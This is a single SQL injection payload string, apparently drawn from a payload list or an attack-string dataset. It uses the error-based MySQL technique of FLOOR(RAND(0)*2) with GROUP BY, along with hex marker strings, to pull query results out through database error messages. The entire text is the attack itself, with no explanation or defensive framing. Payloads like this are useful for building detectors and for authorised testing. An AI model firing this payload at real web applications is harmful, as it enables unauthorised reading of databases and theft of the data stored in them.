"1'+  (  select 'mgrj' where 8514  =  8514 or row  (  1045,7562  )  >  (  select count  (  *  )  ,concat  (  0x7171706a71,  (  select   (  elt  (  1045  =  1045,1   )    )     )  ,0x717a767a71,floor  (  rand  (  0  )  *2   )    )   x from   (  select 8488 union select 5584 union select 3051 union select 1210  )  a group by x   )    )   +'"